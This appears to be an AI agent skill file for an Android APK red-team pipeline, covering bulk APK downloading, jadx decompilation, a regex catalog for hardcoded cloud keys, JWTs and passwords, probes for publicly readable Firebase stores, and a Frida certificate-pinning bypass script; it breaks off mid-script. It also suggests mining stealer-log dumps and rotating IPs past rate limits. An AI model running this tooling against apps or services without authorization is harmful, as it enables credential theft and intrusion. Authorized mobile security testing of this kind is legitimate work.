apk-redteam-pipeline

name apk-redteam-pipeline description End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope. sources authorized-engagement report_count 1 When to use this skill Trigger when: Recon surfaces 1+ mobile apps under the target's developer name (Play Store dev page) A web app hosts *.apk files directly (e.g. Recruitz.apk found on a subdomain during one engagement) APK package IDs leaked via stealer logs (e.g. com.<brand>.app , com.<brand>.<sub-brand> patterns in stealer dump format) Customer-facing app, dealer/partner portal, or employee mobile companion app is in scope Bug bounty program lists Android in scope DO NOT use for: iOS-only targets (different pipeline — IPA reverse, MobSF, frida-ios-dump) React Native / Flutter web apps already covered by JS bundle analysis Server-side only assessments Stage 0 — Inventory all org-owned apps Play Store developer-page scrape # Find developer page from the target's brand name curl -sk -A "Mozilla/5.0" "https://play.google.com/store/apps/developer?id=<Brand+Name>" -o /tmp/dev.html # Extract package IDs grep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u Example output (anonymized — 7 packages typical for a multi-brand conglomerate): com.events.<brand>build com.<corp>.<sub-brand-1> com.<corp>.<sub-brand-2> com.<corp>.<flagship> com.<corp>.<product-line-1> com.<corp>.<product-line-2> com.<corp>.<sub-brand-3> Cross-reference with stealer logs Stealer-log format includes package names like *@com.<corp>.<app> — extract these from creds_userpass.txt if you have a leaked dump. Brand permutation guesses (multi-brand conglomerate patterns) com.<brand>.app com.<brand>.mobile com.<brand>.android com.<brand>connect.app in.<brand>.dealer in.co.<brand>.app Stage 1 — APK acquisition Primary: APKPure direct (no auth required) # Follow 302 redirects to actual download curl -sk -L --max-time 60 \ "https://d.apkpure.net/b/APK/<package_id>?version=latest" \ -o "<package_id>.apk" # Or via the legacy d-XX.winudf.com mirror chain (we saw this work) Secondary: APKMirror search curl -sk -A "Mozilla/5.0" "https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>" \ | grep -oE 'href="[^"]+\.apk[^"]*"' | sort -u Tertiary: APKPure web search curl -sk "https://apkpure.com/search?q=<brand>" | grep -oE 'data-dt-app="[^"]+"' XAPK vs APK .xapk = a zip containing multiple split APKs (base + config.armeabi-v7a + config.en + etc.) Unzip outer first, then unzip the inner base.apk or <package>.apk Some apkpure downloads return truncated XAPK with missing EOCD signature — symptom of CDN rate-limiting; rotate IP and retry, OR use 7z x which is more lenient than unzip # Standard unzip (works for clean APK) unzip -o <package>.apk -d extracted_<package>/ # For truncated/repaired XAPK 7z x -y <package>.apk -o "extracted_<package>" # For nested XAPK for inner in extracted_<package>/*.apk; do mkdir -p "extracted_<package>/ $(basename " $inner " .apk) " unzip -o " $inner " -d "extracted_<package>/ $(basename " $inner " .apk) " done Stage 2 — DEX decompilation (jadx) # Install brew install jadx # macOS # or wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip # Decompile jadx -d decompiled_<package>/ <package>.apk # For XAPK that contains multiple APKs for inner in extracted_<package>/*.apk; do jadx -d decompiled_<package>_$( basename " $inner " .apk)/ " $inner " done For a fast "strings only" pass without full decompilation: find extracted_<package> -name "classes*.dex" - exec strings -8 {} \; > strings_<package>.txt Stage 3 — Secret grep (the 60-pattern catalog) # URL grep — owned-domain references grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u # Internal IP / port URLs grep -oE 'https?://(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt # Cloud credentials grep -oE 'AKIA[A-Z0-9]{16}' # AWS Access Key grep -oE 'aws_secret_access_key[\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret grep -oE 'AIza[A-Za-z0-9_-]{35}' # Google API key grep -oE 'ya29\.[A-Za-z0-9_-]+' # Google OAuth refresh token grep -oE 'gh[ps]_[A-Za-z0-9]{36}' # GitHub PAT grep -oE 'glpat-[A-Za-z0-9_-]{20}' # GitLab PAT grep -oE 'xox[pbar]-[A-Za-z0-9-]+' # Slack token grep -oE 'sk-[A-Za-z0-9]{48}' # OpenAI API key grep -oE 'sk-ant-[A-Za-z0-9_-]{90,}' # Anthropic API key grep -oE 'AC[a-f0-9]{32}' # Twilio Account SID grep -oE 'sk_live_[A-Za-z0-9]{24}' # Stripe live key grep -oE 'pk_live_[A-Za-z0-9]{24}' # Stripe publishable grep -oE 'mailgun-[A-Za-z0-9-]{40}' # Mailgun grep -oE 'SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}' # SendGrid # JWT (any algorithm) grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_<package>.txt # Firebase grep -oE '"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)"\s*:\s*"[^"]+"' \ extracted_<package>/res/values/strings.xml \ extracted_<package>/google-services.json \ decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null # OAuth client secrets grep -oE 'client_secret["\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt # Hardcoded passwords (heuristic — many false positives, manual review) grep -oE '"password"\s*:\s*"[^"]+"|password\s*=\s*"[^"]+"' decompiled_<package>/sources/**/*.java 2>/dev/null Real-world example finding (anonymized — from an authorized engagement) # Customer-facing APK shipped a hardcoded URL of this shape: https://api.<client>.example/<path-token>/<resource-token>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<payload>.<sig> # Decoded JWT payload: {"sid":<int>,"iat":<unix-ts>,"exp":<unix-ts>} # Expired ~8 years earlier — but path tokens + 30 /v1/* endpoints still useful intel Stage 4 — Pinned certificate extraction # Find .cer / .der / .pem files in assets/ find extracted_<package>/assets -iname "*.cer" -o -iname "*.der" -o -iname "*.pem" -o -iname "*.crt" 2>/dev/null # Or in network_security_config.xml find extracted_<package> -name "network_security_config.xml" - exec cat {} \; # For each cert, extract subject + SAN (might reveal new internal API hosts) for cert in $(find extracted_<package>/assets -iname "*.cer" ); do echo "=== $cert ===" openssl x509 - in " $cert " -noout -subject -issuer -dates 2>/dev/null openssl x509 - in " $cert " -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity' done Real-world example A customer-facing APK from an authorized engagement contained assets/api_<service>_<domain>_com.cer — revealed the existence of an api.<service>.<domain>.example asset that had NOT surfaced in passive recon. Stage 5 — Exported component enumeration AndroidManifest.xml lists components. Exported ones (especially with android:exported="true" or implicit-export via intent-filter) can be triggered by other apps — potential intent-injection attack surface. # Decode binary AndroidManifest if needed apktool d <package>.apk -o decoded_<package>/ # apktool decodes binary manifest # Or read directly from jadx output cat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50 # Filter exported grep -E 'android:exported="true"' decompiled_<package>/resources/AndroidManifest.xml For each exported component, check: Does it accept extras that flow into a WebView (intent → WebView → XSS / file://) Does it accept URI extras (potential SSRF via deep link) Does it pass extras to other Activities (intent redirection) Stage 6 — Firebase / cloud-service config inspection # google-services.json — full Firebase config find extracted_<package> -name "google-services.json" - exec cat {} \; | python3 -m json.tool # Look for: # project_id → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json # storage_bucket → can guess GCS bucket: gs://<bucket> # web_api_key → can use to enumerate Firebase tenant config # Test if Firestore is publicly readable curl -s "https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users" # Test if Realtime DB is publicly readable curl -s "https://<project_id>.firebaseio.com/.json" # Test if Storage Bucket is publicly listable curl -s "https://firebasestorage.googleapis.com/v0/b/<bucket>/o" Stage 7 — Runtime instrumentation (Frida) For when static analysis isn't enough — you want to dump tokens at runtime, bypass cert pinning, or trace API calls. Setup pip install --break-system-packages frida-tools objection adb devices # ensure device/emulator connected # Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD) Cert-pinning bypass (universal) // frida-script-pinning-bypass.js Java . perform ( function ( ) { // OkHttp try { var CertificatePinner = Java . use ( 'okhttp3.CertificatePinner' ); CertificatePinner . check . overload ( 'java.lang.String' , 'java.util.List' ). implementation = function ( ) { console . log ( '[+] OkHttp pinning bypassed for: ' + arguments [ 0 ]); return ; }; } catch (e) {} // HttpsURLConnection try { var TrustManagerImpl = Java . use ( 'com.android.org.conscrypt.TrustManagerImpl' ); TrustManagerImpl . verifyChain . implementation = function ( chain ) { console . log ( '[+] TrustManagerImpl verifyChain bypassed' ); return chain; }; } catch (e) {} }); frida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause Hook HTTP requests Java . perform ( function ( ) { var OkHttpClient = Java . use ( 'okhttp3.OkHttpClient' ); var Request = Java . use ( 'okhttp3.Request' ); var Call = Java . use ( 'okhttp3.Call' ); OkHttpClient . newCall . implementation = function ( req ) { var url = req. url (). toString ();